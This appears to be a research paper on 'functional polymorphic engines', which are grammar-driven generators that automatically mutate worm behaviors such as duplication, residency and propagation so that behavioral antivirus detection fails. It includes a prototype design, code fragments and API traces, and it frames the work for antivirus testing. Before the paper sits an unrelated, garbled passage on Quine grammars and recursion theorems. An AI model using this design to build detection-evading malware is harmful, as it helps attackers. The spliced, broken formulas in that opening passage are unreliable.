This representation actually needs a slight modification to build a Quine grammar. Let’s consider a 
rule A . x ⇒ B, where x must match any possible non terminal symbol used by the representation of 
this rule. Then, we will have the rule:  A . a ⇒ B but we now need to represent a, say by a'. This 
requires the rule A . a' ⇒ B, A . a'' ⇒ B and so on. To overcome this, we introduce terminal symbols 
n, t, s for non terminal symbols, terminal symbols and special symbols (like ; and :). Thus, we will 
have the following rules:

• A . a ⇒ B, represented by na . ta : [B].

• A . n ⇒ B, represented by na . tn : [B].

• A . t ⇒ B, represented by na . tt : [B].

• A . : ⇒ B, represented by na . s : : [B].

• A . s ⇒ B, represented by na . ts : [B].

Such a representation allows unique encoding and decoding.

Since our grammar will work as defined by our example Quine program, we define a print macro, 
represented  by  the  non-terminal  symbol  P and  the  special  symbol  ♦  to  denote  the  recursive 
reference.  P must then replace this reference by the original word, so we need to duplicate this 
word: P . a . b . ♦ . c . ▼ is transformed in a . b . ◊' . c . ♣ . a . b . ◊ . c . ▼ and finally in a . b . a . b 
. ◊ . c . c, with ◊ being the terminal representation of ♦.



The following rules represent the print macro:

• Duplication rules:

• P ⇒ ♣ . P'

• P' . x ⇒ ‹ . x . x . P', foreach non terminal symbol x appearing in the final representation 
of these rules.

• P' . ▼ ⇒ ▼

• P' . ♦ ⇒ ‹ . ◊' . ◊ . P'

• ♣ . ‹ . y ⇒ y . ♣ and x . ‹ . y ⇒ ‹ . y . x, foreach non terminal symbols x and y appearing in 
the final representation of these rules.

• Substitution rules:

• x . ♣ . y ⇒ ‹ . y . x . ♣

• x . ♣ . ▼ ⇒ ‹ . ▼ . x

• x . ‹ . y ⇒ ‹ . y . x

• ◊' . ‹ . y ⇒ y . ◊'

• ◊' . ‹ . ▼ ⇒

The final rule looks like: S ⇒ P . ⋯ . ; . n s . : . n p . ♦ . s . ▼ . ▼, where ⋯ contains the linear 
representation of the print macro (previous rules). This grammar will first rewrite S in P . ⋯ . ; . n s  
. : . n p . ♦ . s ▼ . ▼, then in ⋯ . ; . n s . : . n p . ◊' . s . ▼ . ♣ . ⋯ . ; . n s . : . n p . ◊ . s . ▼ . ▼  and 
finally in ⋯ . ; . n s . : . n p . ⋯ . ; . n s . : . n p . ◊ . s . ▼ . s . ▼, which will be interpreted as the P 
rules followed by S ⇒ P . ⋯ . ; . S . : . P . ♣ . ▼ . ▼.

Recursion Theorems

Polyadic (or n-ary) Recursion Theorem

We generalize Smullyan’s double recursion theorem to any number of recursive functions. First it 
can be extended to any finite set of semi-computable functions.

Theorem 7 (Polyadic Recursion Theorem). Let f1, …, fn be n semi-recursive functions, where n ≥ 1.  
Then there exist n semi-recursive functions e1, …, en such that:

Proof. Let p, q be two semi-computable functions: 〈p, q〉 denotes the function that returns 〈p (x), q  
(x)〉 on an input x.

∀ x, e1 x  ¿ f 1 e1 ,⋯ ,en ,x 
⋯

en x  ¿ f n e1 ,⋯ ,en ,x 



We will show this result for n = 3. The general case follows by an easy induction. Let f1,  f2,  f3 be 
three semi-computable functions, with inputs (p, q, r, x). We define the semi-computable functions 
g1 and g2 by:

Then there exists  e1',  e2' such that:  e1' (x) = g1 (e1', e2', x) and  e2' (x) = g2 (e1', e2', x). Finally we 
define e1, e2, e3 by: e1 = e1', 〈e2, e3〉 = e2'.

□

Note that this proof uses Smullyan’s double recursion theorem though we could have used Kleene’s 
recursion theorem by considering functions of ℕ × ℕn.

Countable recursion theorem

The polyadic recursion theorem is defined for finite cases but can be extended to the countable case.

Theorem  8 (Countable  Recursion  Theorem).  Let  {fi}  be  a  countable  (recursive)  set  of  semi-
recursive functions. Then there exists a countable set of semi-recursive functions {ei}, accessible 
through a semi-recursive function E, such that:

Proof. Let F be the semi-recursive function such that: ∀ i, F (i) = fi. Then the existence of E, and 
hence of the corresponding ei’s, comes from the recursion theorem applied to the function f = 〈i, x〉 
→ F (i) (E, x).

□

∀ x, e1 x  ¿ f 1 E,x 
e2 x  ¿ f 2 E,x 

⋯

g1 p, 〈q,r 〉 ,x  ¿ f 1  p,q,r,x 
g2  p, 〈q,r 〉 ,x  ¿ 〈 f 2 p,q,r,x  ,f 3  p,q,r,x 〉
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Contact Details: France Télécom R&D, 42 Rue des Coutures, BP 6243,
14066 CAEN, France. E-mail: herve.debar@orange-ftgroup.com

Keywords

Code mutation, Malware behaviors, Compilation theory, Attribute
Grammars, Information entropy, Detection complexity, Antivirus
assessment, Software protection.

∗Acknowledgement: This work has been partially supported by the European Com-
missions through project FP7-ICT-216026-WOMBAT funded by the 7th framework pro-
gram. The opinions expressed in this paper are those of the authors and do not necessarily
reflect the views of the European Commission.





Functional Polymorphic Engines: Formalisation,
Implementation and Use Cases

Abstract

With regards to the known shortcomings suffered by form-based detection,
an increasing number of antivirus products considers behavioral detection.
Following this trend, functional polymorphism could be the third generation
of mutation mechanism, specially designed to address behavioral detection.
In effect, a same global behavior or purpose (replication, propagation, resi-
dency...) can be achieved through different functional solutions, thus leaving
space for possible mutations. Whereas actual mutation techniques mainly
modify the code structure of malware, functional mutations modify the code
functionality, and more particularly the resulting interaction scheme with the
operating system and other software. These kinds of mutations could not be
achieved without reaching a semantic level of interpretation, higher than ac-
tual techniques remaining purely syntactic. In this article, we underline the
tight relation existing between functional polymorphic engines and compilers.
By studying the mutation properties, we prove that it exhibits logarithmic en-
tropy and results in a NP-complete complexity for behavioral detection. The
implementation of a prototype is finally addressed as well as its possible use
for antivirus testing and software protection.

Introduction

It is commonly acknowledged that form-based detection relying on byte sig-
natures is eventually vowed to fail. As a consequence, malware researchers are
considering new generations of detection techniques and in particular behav-
ioral detection which can be deployed dynamically (Jacob, Debar, & Filiol,
2008a). Unfortunately, for each detection solution put forward, the attack-
ers have developed dedicated counter-measures. Similarly, functional poly-
morphism could be the third generation of mutation mechanism, following
polymorphism and metamorphism, specifically designed to address behav-
ioral detection. In effect, behavioral detection relies on the identification of
the malicious functionalities exhibited by malware (replication, propagation,
residency...). Each one of these functionalities can be implemented through
different technical solutions leaving some degrees of freedom for possible func-



tional mutations without undermining the originally intended purpose of the
code.

In some ways, previous works on mimicry attacks led in host-based intru-
sion detection, could relate to functional mutations (Wagner & Soto, 2002;
Gao, Reiter, & Song, 2004). The principle of mimicry attacks is to forge pay-
loads containing a complete attack hidden within a sequence of system calls
imitating a legitimate application. Using imitation, these forged payloads
are able to bypass anomaly-based detectors while keeping the same effect
on the system than the original attack. However, with regards to malware
detection, most behavioral models are based on malicious signatures similar
to those used by misuse-based intrusion detectors. Our approach will thus
be slightly different from mimicry attacks: instead of including interleaved
blank operations inside our code, the functional mutations we designed enu-
merate the possible solutions to achieve a malicious behavior.

Up until now, such functional modifications have already been used by
malware writers to avoid detection, but the generation of new variants from
an original strain remains achieved manually. The numerous versions of
the Bagle e-mail worm, referenced by the different observatories, are a typi-
cal example of simple functional modifications (modifying mail subject, new
backdoor, adding peer-to-peer sharing)(Fortinet, 2006). Because anticipa-
tion is a key point in the antiviral struggle, we try to foresee and study the
possible future threat that automated functional mutations could represent.

The article is articulated according to the following structure. A brief
overview is first drawn up upon the existing syntactic mutation mechanisms
(Section 2). In addition, this first overview highlights the key differences
with functional mutations. The following part is dedicated to formalization:
functional mutations are introduced using compiler theory (Section 3). A
resulting mutation entropy and detection complexity are then deduced from
the formalism. The rest of the paper deals with implementation aspects
(Section 4) and use cases in antivirus assessment and software protection
(Sections 5 and 6).

Techniques used in code mutation

At the present time, polymorphism and metamorphism remain the two major
techniques of code mutation. These two mutation mechanisms modify the
assembly code at a syntactic level in order to conceal any similarity between



two mutated variants. Considering the most advanced techniques in meta-
morphism, embedded in engines such as MetaPHOR (The Mental Driller,
2002), they remain based on practical obfuscation operations. These opera-
tions either directly modify the instructions (register reassignement, substi-
tution of equivalent instructions enabled by translation into an intermediate
pseudo-language) or globally modify the code structure and its possible exe-
cution paths (junk code insertion, instruction permutations, introduction of
opaque predicates) (Filiol, 2007a, p.148; Ször, 2005, p.269). E. Filiol, in a re-
cent article, formalized the set of metamorphic transformations as rewriting
rules from an original grammar describing the malware, to a second mutated
form (Filiol, 2007b). He actually proved that well-chosen metamorphism
rules could lead to the undecidability of the detection of the mutated forms,
whereas it remains NP-complete for polymorphic malware (Spinellis, 2003).
In practice, the substitution of equivalent instructions is undoubtfully the
technique which is the most difficult to thwart for actual detectors (Preda,
Christodorescu, Jha, & Debray, 2007). Sequences of equivalent instructions
may have different purposes but their combined execution have the same
global effect on the memory. The main reason of their detection complexity
is due to the fact that they do not only alter the program syntax but, to a
lesser extent, also its semantic.

Nevertheless, even the substitution of equivalent instructions does not
modify a priori the use made of the system services and resources (these
accesses will be denoted by the terms ”interaction scheme” within the pa-
per). Using behavioral detection, the mutated variants should theoretically
remain detected because of their identical interaction schemes. To overcome
the simple instruction level of the existing techniques, the next real challenge
in code mutation lies in the research of different functionalities (computations
and interactions) achieving the same purpose. To express an equivalence in
terms of purpose, the manipulations must necessarily be performed at a se-
mantic level working on more complex structures than simple instructions.
Basically, two functionalities can be said equivalent if their executions im-
pact similarly the behavior of the host system and no longer, if they simply
exhibit the same effect on memory. For example, under a Windows system,
modifying a run registry key or the autoexec file have different effects on
memory but basically the same consequence, that is to say, to automatically
start a program during the boot session. According to this guideline, we had
already introduced briefly the concept of functional mutations in a previous
article (Filiol, Jacob, & Le Liard, 2007). We now want to provide a solid



formalization and give a proof of automated feasibility.

Compiler theory applied to polymorphism

Basically, the purpose of a functional polymorphic engine is to translate the
final purpose of a behavior into executable code. This behavior description
is often conveyed by a specifically designed language and this language will
guarantee that every mutated form will consistently perform the intended
task. Consequently, the engine functioning is similar to the one of a compiler.
Yet, the peculiarity of this engine is that several successive executions must
result in strongly different variants, thus introducing the concept of non-
deterministic compiler. In effect, to avoid behavioral detection, the malware
must modify their functionalities and interaction schemes at each execution.
Before going any deeper in the formalisation, we think that it is important
to remind briefly some important definitions, in particular to explain the
notations that will be used along the article. Some of them can be found
in reference books about grammars and automaton (Hopcroft, Motwani, &
Ullman, 1995) or in the literature about attribute grammars (Knuth, 1968;
Noll, 2006, lect.15, p.14).

Definition 1 A context-free grammar G is a quadruplet <V, Σ, S, P> where:
- V is the finite set of non-terminal symbols also called variables,
- Σ is the finite set or alphabet of terminal symbols forming the language,
- S ∈ V is the start symbol,
- P is the set of production rules of the form V → {V ∪ Σ}∗.

Definition 2 An attribute grammar GA is a triplet <G, D,E> where:
- G is originally a context-free grammar <V, Σ, S, P>,
- let Att = Syn ] Inh be a set of attributes divided between the synthesized
and the inherited attributes, and D = ∪α∈AttDα be the union of their sets of
values,
- let att : X ∈ {V ∪ Σ} −→ att(X) ∈ Att∗ be an attribute assignment
function,
- every production rule π ∈ P of the form Y0 −→ Y1...Yn determines a set
of attributes V arπ = ∪i∈{0,...,n}{Yi.α | α ∈ att(Yi)} partitioned between inner
variables: Inπ = {Y0.α | α ∈ att(Y0)∩Syn}∪{Yi.α | i 6= 0, α ∈ att(Yi)∩Inh},
and outer variables: Outπ = V arπ \ Inπ,



- E is a set of semantic rules such as for any production rule π ∈ P , for
each inner variable Yi.α ∈ Inπ, there is exactly one rule of the form Yi.α =
f(Y1.α1...Yn.αn) where Yj.αk ∈ Outπ and f : Dα1 × ...×Dαn → Dα.

Context-free grammars can basically be evaluated by pushdown automata.
In compilation, these automata are used for building the derivation tree ac-
cording to the syntax of the source. In the case of attribute grammars,
a pushdown automaton is still mandatory to parse the syntax but an ad-
ditional attribute evaluator is required to evaluate the associated semantic
rules. The attribute evaluation may be solved by two kinds of methods: topo-
logical sorting or recursive functions (Noll, 2006, lect.18, p.3). In this article,
we will only consider the topological sorting approach whose description is
given just after the definition of a pushdown automaton.

Definition 3 A pushdown automaton A is a seven-tuple <Q, Σ, Γ, δ, q0, Z0, F>
where:
- Q is the finite set of states,
- Σ is the alphabet of input symbols,
- Γ is the alphabet of stack symbols,
- δ is the transition function of the form Q× {Σ ∪ ε} × Γ→ Q× {Γ ∪ ε},
- q0 ∈ Q is the initial state,
- Z0 ∈ Γ is the initial symbol on the stack,
- F ⊂ Q is the set of accepting states.

Definition 4 Algorithm for the attribute evaluation by topological sorting:
-Input: an attributed grammar GA, a simple derivation tree T of GA, and
an initial valuation for the terminal symbols v : SynΣ → D. Let V arT be the
set of attributes of T and ET be its attribute equation system.
-Procedure:
I. let V ar := V arT \ SynΣ.
II. while(V ar 6= ∅) do

1. Choose x ∈ V ar such as x = f(x1, ..., xn) ∈ Et and ∀i, xi 6∈ V ar.
2. v(x) := f(v(x1), ..., v(xn)).
3. V ar := V ar \ {x}.

-Output: Solution v : V arT → V .

We have now sufficient concepts to introduce a simplified definition of a
compiler as a basis for our work. We will use the most uncluttered vision of a



compiler without the intervention of intermediate languages or optimization,
leaving only two steps: verification building the attributed derivation tree
and translation generating the executable code as shown in Figure 1.

Figure 1: Generic view of a simplified compiler. This is the simplest decom-
position of a compiler. Lexical analysis, the use of intermediate languages and
optimization techniques have been willingly ignored for the sake of simplicity.

Definition 5 A compiler C is a is a quintuplet <GS, I, AGS
, VGS

, RT > where:
- GS =<G, D,E> is the attribute grammar of the source code, based on the
context-free grammar G =<V, Σ, S, P>,
- I is the alphabet of instructions from the targeted machine,
- AGS

is the pushdown automaton used in the verification process accepting
the syntax of the source grammar GS and producing the derivation tree T ,
- VGS

is the attribute evaluator based on topological sorting used as a second
step during the verification of the derivation tree T ,
- RT ⊆ {(Σ×D)∗× I∗} is a rewriting system (also called semi-Thue system)
translating the nodes of the form (Σ×D) from the attributed derivation tree
into executable code over the instruction set I.

Functional polymorphism formalization

The required background about compiler theory being introduced, we can
now move to the new formalism. It is important to keep in mind that func-
tional metamorphism works at a semantic level, just like compilers do. The
final purpose of each behavior, in other words its semantic interpretation,
must be expressed in a attribute grammar. An example is addressed in
the next part but right now the formalization should be independent from
the considered grammar. A behavior can then be implemented in several
ways corresponding to the different possible semantically attributed deriva-
tion trees.

The mutation approach will thus be slightly different from compilation.
A compiler, given a source code ω in input verifies first its syntax. The au-
tomaton AGS

will accept the source code if and only if δ̂(q0, ω) ∈ F . Given an



initial attribute valuation for terminals v, the evaluator VGS
of the compiler

tries to build a complete valuation satisfying the equation system. In case of
success, the source code is then translated according to the rewriting system
RT : (ω, v)

∗
=⇒RT

ω′ with ω′ ∈ I∗. Whereas, the purpose of the mutation en-
gine is to keep the original functionality through divers instantiation. It will
thus take in input a start symbol S from the behavior grammar G. Instead of
verification, the engine achieves a derivation of the grammar: S

∗→GS
ω with

ω ∈ T ∗. In a second step, this derivation tree is attributed by generation
of a new valuation satisfying the equation system of GS. The rest of the
translation process is then identical. The main idea is illustrated in Figure 2.
No additional verification is required since by automated construction, the
code is obviously syntactically and semantically correct.

Figure 2: Generic view of a functional polymorphic engine. With regards to
the generic compiler, the main difference lies in the substitution of the verification
process by a derivation process.

During derivation several derivation trees may syntactically be possible.
Derivation will thus be embedded in a probabilistic automaton that will re-
place the deterministic one used for verification. For a short example, let
us define the following grammar (on the left) and its associated derivation
probabilistic automaton (on the right):

< V > → XY | Z
< X > → a
< Y > → b | c
< Z > → d | e | f

With regards to semantic verification, the equation system for attribute
evaluation can hardly be modified without loosing the grammar coherence.
However, the initial valuation for the terminals of the grammar leaves some
degrees of freedom (see Inputs in definition 4). Several initial valuations may



satisfy the system of equations and the engine can randomly chose between
them. These attribute values are critical since they are used for selecting
the right rewriting rule between the different associated to a same terminal.
This finally leads us to the following definition for a functional polymorphic
engine:

Definition 6 A functional polymorphic engine M is a quintuplet <GS, I, AGS
,

VGS
, RT > where:

- GS =<G, D,E> is the attribute grammar of the source code, based on the
context-free grammar G =<V, Σ, S, P>,
- I is the alphabet of instructions from the targeted machine,
- AGS

is the probabilistic finite automaton deriving the start symbol S into
simple syntactic derivation tree T according to GS,
- VGS

is the attribute generator determining a random initial valuation for
the terminals satisfying the equation system of T ,
- RT ⊆ {(Σ×D)∗× I∗} is a rewriting system (also called semi-Thue system)
translating the nodes of the form (Σ×D) from the attributed derivation tree
into executable code over the instruction set I.

Characteristics of the mutation

Mutation entropy

The information entropy introduced by C.E. Shannon makes it possible to
measure the uncertainty associated with the mutation process which is par-
ticularly interesting to assess the engine effectiveness (Shannon, 1948). The
mutation engine can be modeled as a communication channel receiving data
from a source: the original file from the hard drive, and transmitting it to a
recipient: the final executable built in the process memory.

We have based our reasoning on an average case requiring the definition
of specific parameters:
- The average depth d of a grammar which is the average number of produc-
tion rules to apply during derivation to reach the final word. It is equivalent
to the average number of intermediate state requires by the automaton be-
fore to reach an accepting one.
- The average number n of options for a production rule. It is equivalent to
the average number of successors for a given state of the automaton.
- The average number s of possible initial valuations given a derivation



tree T . It is possible to bound this value considering the best and worse
cases. With regards to entropy, the worst case is reached when the attribute
equation system accepts a single initial valuation as solution. On the other
hand, the best case is reached when all the attributes of the terminal sym-
bols from the tree T are independent. Using the notations from the defi-
nitions, then the initial value of an attribute α ∈ synΣ can be any value
from the domain Dα. This can be summed up by the following inequality:
1 ≤ s ≤ Πα∈V arT∩SynΣ

card(Dα).
There are two points over the channel where some uncertainty is created:

the random derivation and the choice of the attribute valuation. This leads
us to the following proposition:

Proposition 1 By considering uniformly distributed random choices, the
average entropy is given by: H(mutation) = d× log2(n) + log2(s).

Proof.
Let us begin by calculating the probability associated to the syntactic

derivation of a word ω which is obtained by the path of state πω = e1...ed.
Considering a probabilistic automaton, the probability of selecting a given
state among the possible successors is only dependent of the current one like
in a first-order Markovian process:

P (ω) = P (e0)Π
d
i=1P (ei|ei−1)

The starting state e0 is mandatory which gives us:

P (e0) = 1
By reasoning on an average basis, we know that for any ω derived from G, d
states are reached. At each step, n options are available:

P (ei+1|ei) = 1
n

P (ω) = ( 1
n
)d

Given the derivation ω, the engine chose randomly a possible initial valuation
v with equivalent probability:

P (v|ω) = 1
s

Which leads us to this result:

P (ω, v) = P (ω)P (v|ω) = 1
snd

By a similar reasoning we can calculate the average number of possible at-
tributed derivation trees:



card(L(G)) = snd

The entropy of the derivation is thus given by:

H(mutation) = −Σ(ω,v)∈L(G)P (ω, v)log2(P (ω, v))
= −card(L(G))P (ω, v)log2(P (ω, v))
= −snd( 1

snd )(log2((
1

snd )))
= d(log2(n)) + log2(s)

�

This result is based on specific hypothesises but it gives, if not precise,
a pertinent assessment of the mutation effectiveness. It may be interesting
to interpret it. In fact, d and n are settled by the behavior grammar. This
grammar conveying the minimal expression of the final functionality with the
best coverage, it cannot be the subject of easy modifications. So s remains the
main degree of liberty and enables a logarithmic increasing of the entropy.
Several semantic factors can increase the mutation entropy: the number
of attributes for each symbol, the range of their possible values, and the
number of dependencies between them. This statement is quite important
since the number of equivalent rewriting rules for a terminal symbol is directly
proportional to the possible values taken by its attributes. This underlines
the fact that functional polymorphism goes beyond the simple syntactic level.

Detection complexity

Let us study the complexity of the behavioral detection problem for func-
tional polymorphic malware of finite size. Considering actual behavioral de-
tectors, most of them rely on predefined behavior signatures. According to
previous works, these signatures may be expressed as Boolean formula (Fil-
iol et al., 2007; Filiol, 2006). Behavioral detectors can be divided into two
classes: dynamic simulation-based detectors relying on sequences of observ-
able events (system call traces) and static formal verifier relying on instruc-
tion meta-structures (graphs, temporal logic formula)(Jacob et al., 2008a).
Considering an observable event i (resp. instruction) and a position j in the
sequence (resp. structure), let us define a Boolean variables:

Xi,j =

{
1 if i is present at the position j
0 otherwise

To express a behavior β, these Boolean variables are combined in a formulae
representing the whole sequence or meta-structure. In case of equivalent se-
quences (resp. meta-structures) for a given behavior, different events (resp.
instructions) can be found at the same position. They can thus be given



under a disjunctive normal form (DNF):

Xβk
= (Xi1,1 ∧Xi2,2 ∧ ... ∧Xin,n) ∨ (Xi′1,1 ∧ ...) ∨ (...)

The behavioral detection scheme is then given by a Boolean correlation func-
tion φc over the v different behaviors referenced in the database:

βM = φc(Xβ1 , ..., Xβv)

According to this modelling, following an identical reasoning approach to
the one used by D. Spinellis to study the impact of syntactic polymorphism
on signature detection (Spinellis, 2003), we can likewise reduce the behavioral
detection problem to a satisfability problem:

Proposition 2 The behavioral detection of functional polymorphic malware
with finite size is NP-complete.

Implementation aspects

Like we have already stated, any attempt of semantic manipulation requires
a high-level description language conveyed by a grammar. This language
expresses an equivalence in terms of purpose between two functionnalities
deriving from a same production rule, meaning that every mutated form will
consistently perform the intended task. In the context of this paper, we have
chosen to use the grammar introduced in a previous article to model the
main malicious behaviors through their final purpose (Jacob, Filiol, & De-
bar, 2008b). The adopted perspective is object-oriented where the malware
embed internal mechanisms and attributes but also provide external inter-
faces for interaction with adversaries. These adversaries have been classified
according to their use in malware’s lifecycle: auto-reference, permanent ob-
jects, communicating objects or boot objects. A behavior description can
be seen in Figure 3, as an example. Anyhow, the same reasoning could be
applied without loss of genericity, to any other behavioral model possibly de-
scribed by a language: general behavior patterns froms VIDES (Le Charlier,
Mounji, & Swimmer, 1995), high-level actions from GateKeeper (Ford, Wag-
ner, & Michalske, 2004)... Let us now introduce how a functional mutation
engine can be built.



(i) <Duplication> ::= <Creation><Opening><Reading><Writing>
| <Opening><Reading><Creation><Writing>
| <Opening><Creation><InterleavedRW>
| <Creation><Opening><InterleavedRW>
| <Opening><DirectTransfer>

(ii) <Creation> ::= create obj perm;
(iii) <Opening> ::= open this;
(iv) <Reading> ::= receive var ← this;
(v) <Writing> ::= send var → obj perm;
(vi) <InterleavedRW> ::= while(receive var ← this; )then{

send var → obj perm;
}

(vii) <DirectTransfer> ::= send this→ obj perm;

Figure 3: Duplication description. Basically, duplication consists in copying
the code from the running virus (this) into a permanent object newly created
(obj perm). This grammar is an extended version of the one introduced in the
previous article (Jacob et al., 2008b).

Prototype architecture and results

As stated in the formalization, the functional polymorphism engine is divided
between two components respectively responsible for the derivation and the
translation. Each of this part is then divided between different modules
briefly described below. The overall architecture of the prototype and the
junction of the different modules is illustrated in Figure 4.

Behavior expanser: The behavior expanser is part of the derivation com-
ponent. This module embeds the syntactic rules of the behavior lan-
guage inside a probabilistic automaton in order to build a random
derivation tree. During derivation, it calls on the semantic generator
services to annote the tree.

Semantic generator: This generator is responsible for creating the seman-
tic attributes associated to the different production rules. It embeds
the semantic equations to guarantee the coherence of the valuation.

Code builder: The code builder is the entry point of the translation com-
ponent. This module reads the derivation tree and its semantic anno-
tation in order to build the corresponding executable code. It uses the
basic building blocks supplied by the instruction set in order to build



the malware body and updates these blocks according to the semantic
attributes.

Instruction set: The instruction set defines the meta-structures of instruc-
tions corresponding to the basic operations: arithmetic ones for ex-
ample but also more complex operations like the parameter passing of
system calls.

Figure 4: Architecture of the prototype. The architecture is schematically
described revealing the junctions between the different modules of the prototype.

The prototype has been implemented in C and the basic building blocks are
directly written in assembly. It is now operational and currently supports
four different behaviors used in P2P/Mail worms: duplication, propagation,
residency and overinfection test. The global size of the code is about 40KB
and uses less than 30 basic building blocks (from 4 to 80 bytes in size).
From this, the engine is able to build thousands of basic derivations only by
modifying the syntax and the types of the semantic objects (registry key,
file, socket...), and even more if we consider the differences in terms of object
location or attributes as we will see a little bit further. To give you an hint
of the result, the Figure 5 gathers two traces relative to two consecutive
executions of the engine.

Going back to the formalization part, there are basically two degrees of
liberty in the mutation. One lies in the different possible derivations from
a start symbol. The other one lies in the generation of semantic attributes
that will determine the rewriting rule to use. The behavior expanser and the
semantic generator are thus the real core of the engine more than the code
builder itself. Consequently, their technical details are now made explicit in
the two next parts.



GetModuleFileName fopen
"kernel32.dll" "msvcrt.dll"
CreateFile GetModuleFileName

"kernel32.dll" "kernel32.dll"
CreateFile fopen

"kernel32.dll" "msvcrt.dll"
ReadFile fseek

"kernel32.dll" "msvcrt.dll"
WriteFile ftell

"kernel32.dll" "msvcrt.dll"
ReadFile frewind

"kernel32.dll" "msvcrt.dll"
WriteFile malloc

"kernel32.dll" "msvcrt.dll"
ReadFile fread

"kernel32.dll" "msvcrt.dll"
... fwrite
... "msvcrt.dll"
...

ReadFile
"kernel32.dll"

WriteFile
"kernel32.dll"

Figure 5: Execution traces. This figure collects the different dll function calls
made over two consecutive executions. This are just extract relative to the dupli-
cation behavior (interleaved read/write on the left, one block reading and writing
on the right). This is typically the kind of information collected by an antivirus
product for behavioral detection.

Syntactic behavior expansion

The first level of mutation is achieved by a random derivation of the grammar
performed by the behavior expanser which replaces the usual parser used for
verification. The structure of its source code is quite similar to the one of
a grammar parser. However, instead of choosing the following production
rules according to the current symbol under the read head, the expanser
unrolls the production rules choosing randomly between the different options
at each step. From a start symbol, the expanser generates a valid derivation
tree inside the possibility space. A simplified sample from the source code
is shown in Figure 6 in direct relation with the grammar given in Figure 3.
Notice that the non-determinism of the derivation automaton does not lift
the deterministic constraints on the grammar, it still requires to be LL(k) or
LR(k) to build the executable code.

In input, the derivation process must be fed with a global description of



int DuplicationExpand(...){
int uiWhich = RandomGenerator(5);
switch(uiWhich){
case 1:

CreationExpand(...);
OpeningExpand(...);
ReadingExpand(...);
WritingExpand(...);
break;

case 2:
OpeningExpand(...);
...

...
case 5:

OpeningExpand(...);
TransferExpand(...);
break;

}
}

Figure 6: Derivation functions. This short code sample illustrates the inclusive
call sequences. Contrary to common parsers, the following step is not determined
by the current syntactic unit but randomly chosen.

the malware. The purpose of this description is to determine the articulation
of the different behaviors inside the malware body. The start symbols of
the behavior grammars are used as basic blocks to build a description in a
format similar to XML. An example of a generic P2P/mail worm is provided
in Figure 7. The resulting output from the expanser will be a syntactic
derivation tree satisfying the behavior grammar.

Code generation according to semantic

The second level of mutation is achieved by the semantic generator through
the generation of semantic attributes satisfying the attribute equation sys-
tem. These annotations are particularly important since they will determined
the rewriting rules to use for a given terminal symbol. The example from the
Figure 3 has been rewritten using attribute equations in the Figure 8. These
attribute equations are used for several purposes:

Object binding: The first step of the attribute evaluation is performed by
binding the semantic objects. This mechanism identifies the different
instances of objects and variables and guarantees they are coherently



<Overinfection>
<marker= ”marker name”\ >

< \Overinfection>
<Duplication>

<target= ”target name”\ >
< \Duplication>
<Residency>
< \Residency>
<Propagation>

<carrier= ”lure name”\ >
< \Propagation>
<Payload>
< \Payload>

Figure 7: Global structure of a P2P/mail worm. This file written in a format
similar to XML describes the global structure of the worm. It is, among others,
possible to specify certain parameters such as the name of the duplicated instance.

(i) <Duplication> ::= <Creation><Opening><Reading><Writing>
| <Opening><Reading><Creation><Writing>
| <Opening><Creation><InterleavedRW>
| <Creation><Opening><InterleavedRW>
| <Opening><DirectTransfer>

{ <Writing>.objId=<Creation>.objId
<Writing>.objType=<Creation>.objType
<Writing>.varId=<Reading>.varId
<InterleavedRW>.objId=<Creation>.objId
<InterleavedRW>.objType=<Creation>.objType }

(ii) <Creation> ::= create obj perm;
{ <Creation>.objId=obj perm.objId

<Creation>.objType=obj perm.objType }
(iii) <Opening> ::= open this;
(iv) <Reading> ::= receive var ← this;
{ <Reading>.varId=var.varId }
(v) <Writing> ::= send var → objperm;
{ <Writing>.varId=var.varId

<Writing>.objId=obj perm.objId
<Writing>.objType=obj perm.objType }

(vi) <InterleavedRW> ::= while(receive var ← this; )then{
send var → obj perm;

}
{ var1.varId=var2.varId

<InterleavedRW>.objId=obj perm.objId
<InterleavedRW>.objType=obj perm.objType }

(vii) <DirectTransfer> ::= send this→ obj perm;

Figure 8: Duplication attributed description. Semantic rules have been added
for the binding of variables and objects as well as typing.



used. Let us consider the duplication example of the Figure 8. Object
binding is done by affecting an attribute identifier (objId) to the per-
manent object and verifying that it is this same object that we open
and then write to. This binding is not subject to mutation since it is
constrained by our behavior grammar.

Object typing: The second step in the annotation process is performed by
associating types to the different objects. In fact, it is type information
that determines the rewriting rule to use. It is easy to understand that
we dispose of several primitives to traduce a given grammar unit. If we
take for example the command create obj perm, it can be performed
by several system calls depending on whether the object is a file or a
registry key. It can easily be seen that object typing impact greatly
the interaction scheme. By affecting a type to an object, we reduce
the set of possible translation rules to a singleton. In our polymorphic
context, this affectation must be performed randomly between a range
of coherent values.

Object characterization: This last step, absent in simple compilation, has
been specifically added. Characterization randomly affects additional
characteristics to object. These characteristics stored in object struc-
tures like the one described in Figure 9 are then used as parameters for
the built instructions:
- Access characterization which constrain the stream flow: unilateral
or bilateral. It is particularly important in cases like the autoreference
since running programs can only be accessed in reading mode.
- Localisation which determines the location of objects. It can be a
simple path for a file or a subtree for registry keys.
- Attributes which define basic properties of the object. Once again, a
file, for example, can be hidden, compressed, ciphered or associated to
the system according to the facilities offered by the file system.

When launching the application, after performing the derivation, the gen-
erated code is built in a newly allocated memory space with execution rights.
Building dynamically the code introduces addressing problem to replace the
linking process. In order to build relocatable code, all variables and objects
as well as the import table are managed by the code builder in structures
similar to the one in Figure 9. Consequently, the generated code is able to
address them directly through their handle without localization problem.



struct obj entry{
unsigned long ulIdentifier;
unsigned long pObjectHandle;
char pcName[MAX PATH];
char pcLocation[MAX PATH];
unsigned int uiType;
char pcAccess[4];
unsigned long ulAttribute;

};

Figure 9: Object semantic structure. This structure is used in the prototype
to store the different semantic annotation generated to build the executable code.

Use case for antivirus products assesment

Assessing antivirus products is still an open problem and few works have
been led on the subject. Up until now, most test procedures simply confront
malware detectors to known strains thereby solely assessing the coverage of
their signature database. However, finding a procedure to assess the de-
tection of unknown malware is far more complex. Fortunately, functional
mutations could be used in the context of blackbox tests to address this
issue and more particularly to assess the coverage of behavioral detection en-
gines. A first methodology had been introduced in a previous article based on
the manual simulation of functional modifications (Filiol et al., 2007). The
idea was similar: achieve the same behavior through different instantiations.
Unfortunately, the process was not wholly automated, requiring the manual
generation of the new variants which finally proved quite prohibiting. The
definition of an autonomous engine for functional mutations has allowed us
to revise the process to make it fully automated.

Methodology

Typically, functional polymorphism engines convey a generic semantic model
and translate it towards a specific instantiation (refinement procedure). Within
the perspective of detection, this principle is reversed: the detector ana-
lyzes a given instantiation, interprets it, and compares it to a generic model.
Unfortunately, severe problems of completeness and accuracy are often ob-
served. By adopting the attacker’s point of view, it is easier to automatically
